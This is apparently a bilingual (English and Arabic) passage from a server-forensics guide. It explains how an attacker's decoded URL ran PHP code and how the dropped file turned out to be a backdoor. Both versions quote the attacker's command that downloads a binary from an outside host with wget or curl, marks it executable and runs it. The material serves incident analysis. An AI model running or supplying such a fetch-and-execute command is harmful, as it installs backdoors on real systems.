Decoding this long URL leads to understanding that the attacker managed to run some PHP code, namely: <command>system("cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &amp;")</command>. Indeed, a <filename>bd</filename> file was found in <filename>/tmp/</filename>. Running <command>strings /mnt/tmp/bd</command> returns, among other strings, <literal>PsychoPhobia Backdoor is starting...</literal>. This really looks like a backdoor.
عبر فك تشفير عنوان URL الطويل هذا سنفهم أن المهاجم قد تمكن من تنفيذ كود PHP التالي: <command dir="ltr">system("cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &amp;")</command>. وبالفعل، لقد عثرنا على ملف <filename>bd</filename> في <filename>/tmp/</filename>. يعيد لنا تنفيذ <command>strings /mnt/tmp/bd</command> مجموعة سلاسل، منها <literal dir="ltr">PsychoPhobia Backdoor is starting...</literal>. يبدو أنه باب خلفي فعلاً.